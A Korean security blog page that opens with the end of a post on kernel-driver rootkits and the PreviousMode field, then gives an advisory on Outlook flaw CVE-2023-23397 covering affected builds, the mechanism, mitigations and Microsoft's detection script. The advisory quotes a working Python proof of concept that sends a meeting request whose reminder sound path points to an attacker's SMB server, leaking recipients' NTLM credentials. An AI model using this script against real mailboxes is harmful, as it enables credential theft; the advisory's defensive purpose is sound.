> PreviousMode 값이 0일 경우 God Mode로, 유저 영역과 커널 영역 모두 사용이 가능

- 이후 공격자는 커널 메모리를 조작하여 시스템 내 보안 시스템을 무력화 등 악성행위 수행

PreviousMode
- 유저 영역에서 동작하는 프로세스가 Nt 또는 Zw 계열의 함수를 호출할 경우
- Zw 계열의 함수는 동일한 기능을 수행하는 Nt 계열의 함수로 매핑
- Nt 계열의 함수는 호출한 드라이브가 유저 영역에서 호출한 것인지, 커널 영역에서 호출한 것인지를 확인
- 호출 위치를 판단하는데 PreviousMode 필드의 값을 통해 결정
- 호출 위치가 유저 영역일 경우 유저 영역의 메모리를 사용하게되고, 커널 영역일 경우 유저 영역과 커널 영역 모두 사용 가능함

 

[사진 2] 루트킷 동작 과정

 

3. 대응방안

① 엄격하게 드라이버 로드를 차단

- 일반 사용자 환경에서는 드라이버 로드를 하지 못하도록 통제

- MS는 윈도우 업데이트로 제공하는 취약 드라이버 차단 목록(Microsoft Vulnerable Driver Blocklist)과 HVCI(Hypervisor-Protected Code Integrity)를 통해 확인된 보안 취약점이 있는 드라이버가 기본적으로 차단

> 여러 보안 업체는 윈도우에 대한 계속되는 BYOD 공격과 취약한 드라이버 차단 목록이 정기적으로 업데이트되지 않는 것을 발견

 

② 보안 소프트웨어 업데이트를 최신으로 유지

 

4. 참고

[1] https://asec.ahnlab.com/ko/38593/
[2] https://www.itworld.co.kr/tags/81258/MFA/273211
[3] https://www.ejanews.co.kr/news/articleView.html?idxno=307927
[4] https://www.dailysecu.com/news/articleView.html?idxno=139976
[5] https://www.microsoft.com/en-us/security/blog/2021/12/08/improve-kernel-security-with-the-new-microsoft-vulnerable-and-malicious-driver-reporting-center/

1. Microsoft Outlook

- 마이크로소프트 오피스의 구성 요소 (이메일 소프트웨어)

 

1.1 용어

용어 설명
MAPI 
(Messaging Application Programming Interface)
-  윈도우 응용프로그램(아웃룩 전자 메일 클라이언트) 내에서 전자우편을 보내거나, 자신이 현재 작성중인 문서를 전자우편 내용 위에 첨부할 수 있도록 해주는 등 Exchange 서버의 모든 기능을 완전히 사용할 수 있도록 하는 마이크로소프트의 독점 프로토콜
SMB
(Server Message Block)
- 다양한 운영체제 간 자원 공유를 쉽게 해줄 목적으로 만들어진, 네트워크 상 존재하는 노드들 간에 자원을 공유할 수 있도록 설계된 프로토콜
- 네트워크에 연결된 컴퓨터끼리 파일, 프린터, 포트 또는 기타 메시지를 전달하는데 사용
UNC 
(Universal Naming Convention)
- 공유 파일이 저장되어 있는 장치를 명시하지 않고서도 파일을 확인할 수 있는 방법.
- 파일, 폴더, 프린터 및 공유 리소스와 같은 네트워크 리소스를 식별하고 찾기 위해 Microsoft Windows 운영 체제에서 사용되는 명명 시스템
NTLM
(New-Technology LAN Manager)
윈도우에서 제공하고 있는 인증 프로토콜 중 하나로 Challenge-Response라고 불리는 인증 프로토콜 방식을 사용
- 최근에는 거의 쓰이지 않고 있으며 MS 에서도 사용을 권장하지 않으나, SMB 프로토콜에도 하위호환성을 위해 내장

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-23397 [1]

- Microsoft Outlook에서 발생하는 권한 상승 취약점으로, CVSS 9.8을 할당 받음

- 피해자가 메일을 읽지 않아도 공격자는 피해자의 NTLM 정보를 탈취할 수 있음

- 취약한 버전 목록 [2][3]

※ Android, iOS, Mac과 같은 다른 버전의 Microsoft Outlook과 웹용 Outlook 및 기타 M365 서비스는 영향을 받지 않음

제품명 버전 빌드
Current Channel Version 2302 Build 16130.20306
Monthly Enterprise Channel Version 2301 Build 16026.20238
Monthly Enterprise Channel Version 2212 Build 15928.20298
Semi-Annual Enterprise Channel (Preview) Version 2301 Build 16130.20306
Semi-Annual Enterprise Channel Version 2208 Build 15601.20578
Semi-Annual Enterprise Channel Version 2202 Build 14931.20944
Office 2021 Retail Version 2301 Build 16130.20306
Office 2019 Retail Version 2302 Build 16130.20306
Office 2016 Retail Version 2302 Build 16130.20306
Office LTSC 2021 Volume Licensed Version 2108 Build 14332.20481
Office 2019 Volume Licensed Version 1808 Build 10396.20023

 

2.1 공격 원리 [4][5][6]

[사진 2] 공격 과정 요약

- Outlook의 캘린더에는 약속한 일정을 사용자에게 알려주는 '미리 알림' 기능이 존재하며, 약속 기한이 지났을 때도 알림을 발생

 

- MAPI의 "PidLidReminderFileParameter"는 약속 기한이 지나, 지연 알림에 클라이언트가 재생할 사운드의 파일 경로(UNC)를 지정하는 데 사용됨 [7]

- 또한 "PidLidReminderOverride"는 PidLidReminderFileParameter 값을 신뢰할 것인지 결정 [8]

 

- 공격자는 메일에 "PidLidReminderFileParameter" 값을 공격자가 제어 가능한 SMB 서버로, "PidLidReminderOverride"을 true로 설정하여 전송

[사진 3] 악성 메일

 

2.2 PoC [9]

- 공격자가 제어하는 SMB서버의 주소를 BAD_ADDRESS 변수에 저장
- send_meeting_request()를 이용해 조작된 메일을 생성 및 전송

#!/usr/bin/env python3

__author__ = "William Golembieski"
__license__ = "Apache License 2.0"
__email__ = "william@armoryanalytics.com"

import win32com.client

OUTLOOK_FORMAT = '%m/%d/%Y %H:%M'
def outlook_date(dt): return dt.strftime(OUTLOOK_FORMAT)


class OutlookClient(object):
    def __init__(self):
        self.outlook = win32com.client.Dispatch('Outlook.Application')

    def send_meeting_request(self, subject, time, location, recipients, body, bad_location):
        mtg = self.outlook.CreateItem(1)
        mtg.MeetingStatus = 1
        mtg.Location = location
        for recipient in recipients:
            mtg.Recipients.Add(recipient)
        mtg.Subject = subject
        mtg.Start = outlook_date(time)
        mtg.Duration = 60
        mtg.ReminderMinutesBeforeStart = 30
        mtg.ResponseRequested = False
        mtg.Body = body
        mtg.ReminderSet = True
        mtg.ReminderOverrideDefault = True
        mtg.ReminderSoundFile = bad_location
        mtg.Save()
        mtg.Send()


if __name__ == "__main__":
    MEETING_SUBJECT:      str = "Test Of CVE-2023-23397"
    MEETING_BODY_TEXT:    str = "CVE-2023-23397 Test email"
    MEETING_LOCATION:     str = "Virtual"
    MEETING_RECIPIENTS: [str] = [
        'user@test.com',
        'user2@test.com'
    ]

    # External UNC location
    BAD_ADDRESS: str = "\\\\<your>.<bad>.<location>.<here>\\@<port>\\<file>.<extension>"

    import datetime
    ol = OutlookClient()

    # Set meeting time 3 hours from now
    meeting_time = datetime.datetime.now() + datetime.timedelta(hours=3)

    ol.send_meeting_request(MEETING_SUBJECT, meeting_time, MEETING_LOCATION, MEETING_RECIPIENTS, MEETING_BODY_TEXT,
                            BAD_ADDRESS)

 

3. 대응방안

① "PidLidReminderFileParameter"의 값이 UNC로 변경되었는지를 확인하여 피해 여부를 파악

- 3월 15일 Microsoft는 취약점이 Exchange 환경 내에 존재하는지 검사하는 스크립트 CVE-2023-23397.ps1 공개 [10]

⒜ 사전 준비

> Exchange Server (on-premises) : EMS(Exchange 관리 셸)에서 아래 PowerShell 명령을 실행

New-ThrottlingPolicy “CVE-2023-23397-Script”
Set-ThrottlingPolicy “CVE-2023-23397-Script” -EWSMaxConcurrency Unlimited -EWSMaxSubscriptions Unlimited -CPAMaxConcurrency Unlimited -EwsCutoffBalance Unlimited -EwsMaxBurst Unlimited -EwsRechargeRate Unlimited
Set-Mailbox -Identity “<UserWhoRunsTheScript>” -ThrottlingPolicy “CVE-2023-23397-Script”

> Exchange Online : 전역 관리자 또는 응용 프로그램 관리자 권한으로 실행

 

⒝ 점검 시작

⑴ 감사 모드(Audit Mode) : 스크립트는 속성이 채워진 항목의 세부 정보가 포함된 CSV 파일을 제공
> Exchange Server (on-premises)

Get-Mailbox -ResultSize Unlimited | .\CVE-2023-23397.ps1 -Environment Onprem

> Exchange Online

Get-Mailbox -ResultSize Unlimited | .\CVE-2023-23397.ps1 -Environment “Online”

⑵ 정리 모드(Cleanup Mode) : 스크립트는 속성을 지우거나 항목을 삭제하여 감지된 항목에 대한 정리를 수행
> Exchange Server (on-premises)

.\CVE-2023-23397.ps1 -Environment Onprem -CleanupAction ClearProperty -CleanupInfoFilePath <Path to modified CSV>

> Exchange Online

.\CVE-2023-23397.ps1 -CleanupAction ClearProperty -CleanupInfoFilePath <Path to modified CSV>

 

② 현재 사용중인 Outlook 버전 확인 후 최신 버전 업데이트 적용 [11]

- Outlook 실행 > 파일 > Office 계정 > Outlook 정보에 표시된 버전 확인

[사진 4] Outlook 버전 확인

 

③ 미리 알림 해제

- 옵션 > 고급 > 미리 알림 > ‘미리 알림 표시’ 체크 해제

> 단, 해당 메일을 열어 ‘다음 소리 재생(Play this sound)’을 체크하고 소리를 재생할 시 취약점이 발현됨

 

④ 업데이트 적용이 불가한 경우 다음의 임시조치 적용

- SMB 포트 차단
> TCP 445/SMB 아웃바운드 트래픽을 차단

 

- NTLM 인증 사용 차단.
> 보호된 사용자 보안 그룹(Protected Users Security Group)에 계정을 추가해 NTLM을 인증을 사용하지 못하도록 한다.
※ NTLM이 필요한 서비스에 영향을 미칠 수 있으므로 영향도 검토 필요

 

⑤ 보안 장비에 IoC 등 침해지표 등록

 

4. 참조

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-23397
[2] https://learn.microsoft.com/en-us/officeupdates/microsoft365-apps-security-updates
[3] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71019&menuNo=205020
[4] https://www.balbix.com/blog/urgent-action-recommended-microsoft-outlook-vulnerability-cve-2023-23397/
[5] https://www.bleepingcomputer.com/news/security/critical-microsoft-outlook-bug-poc-shows-how-easy-it-is-to-exploit/
[6] https://blog.cyble.com/2023/03/16/microsoft-outlook-zero-day-vulnerability-cve-2023-23397-actively-exploited-in-the-wild/
[7] https://learn.microsoft.com/en-us/office/client-developer/outlook/mapi/pidlidreminderfileparameter-canonical-property
[8] https://learn.microsoft.com/en-us/office/client-developer/outlook/mapi/pidlidreminderoverride-canonical-property
[9] https://github.com/BillSkiCO/CVE-2023-23397_EXPLOIT/blob/main/cve-2023-23397.py
[10] https://microsoft.github.io/CSS-Exchange/Security/CVE-2023-23397/
[11] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397
[12] https://www.boannews.com/media/view.asp?idx=115328&page=1&kind=1
[13] https://www.boannews.com/media/view.asp?idx=115278
[14] https://www.boannews.com/media/view.asp?idx=115324
[15] https://zdnet.co.kr/view/?no=20230320103605 

+ Recent posts